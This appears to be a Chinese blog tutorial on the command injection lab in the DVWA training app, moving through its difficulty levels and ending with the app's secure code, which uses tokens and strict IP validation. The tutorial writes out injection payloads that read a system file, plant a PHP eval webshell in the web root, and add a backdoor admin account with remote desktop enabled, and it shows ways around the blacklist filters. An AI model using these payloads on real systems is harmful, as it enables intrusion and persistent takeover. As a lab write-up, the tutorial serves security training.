如果对您有帮助,动动鼠标点赞收藏哦!你们的点赞收藏就是对我持续创作最大的鼓励!
1、windows环境下的管道符
2、Linux环境下的管道符
3、Windows和Linux共有的管道符
接下来我们在靶场DVWA环境下为演示命令执行漏洞
01-Low
Low级别的命令执行,没有对输入做任何的过滤,可以直接通过管道符来拼接命令,达到命令注入的目的。
01.1 任意文件读取
type命令是windows环境下用于读取文件内容的命令,类似linux下的cat命令,构造命令执行命令:
ip=127.0.0.1 | type c:\windows\system32\drivers\etc\hosts & Submit=Submit
01.2 小马实现Getshell
01.2.1 获取网站路径
01.2.2 写入一句话木马
ip=127.0.0.1 | echo "<?php @eval($_POST[666]);?>" > C:\phpStudy\WWW\vul.php & Submit=Submit
01.2.3 连接一句话木马
01.3 设置后门
1、使用net user /add admin possw0rd新建一个用户
2、将新建的用户admin加入到管理员用户组
3、开启远程桌面服务
1|wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
4、远程桌面连接back/p0ssw0rd进制控制
02-Medium
通过管道符拼接命令发现,在Medium级别中"&"和"&&"这两个管道符被过滤掉了,而"|"和"||"却可以正常使用,知道了可以使用"||"来拼接命令,那么利用方法同Low中所展示那样
注意:在使用"||"时,只有前一条命令执行失败才会执行后续命令,因此需构造格式错误的ip
03-Hight
老规矩还是逐个尝试管道符进行命令拼接,当使用"|"拼接命令的时候,发现可以执行成功,但是若使用"| "(|后面有个空格)的时候则会被过滤掉,如下:
为了印证我们的判断,来看看high级别的源码:
04-impossible(安全代码)重要
从Low-Medium-High漏洞严重程度逐级降低,其原理主要是不断填充黑名单覆盖率来降低命令执行漏洞风险。此外DVWA还给我们给出了安全的防护代码,如下所示:
1、引入token机制
token是由服务端生成的一个随机数,当客户端请求页面时,服务端首先生成随机数token并将其存放在session之中,然后将token随页面返回给客户端,一般情况都是通过隐藏表单的形式传递给客户端,在DVWA impossible中查看源代码:
这样,客户端在提交表单的时候会将此token携带上,后端服务器再进行验证, 使用BP抓包验证:
2、验证输入命令的合法性
通过explode()函数将ip地址分割为4部分,并且对每部分都进行验证,只有每部分都是int时才是合法的ip地址,从而避免在执行ping x.x.x.x时被拼接命令而造成命令执行漏洞
版权归原作者 AkangBoy 所有, 如有侵权,请联系我们删除。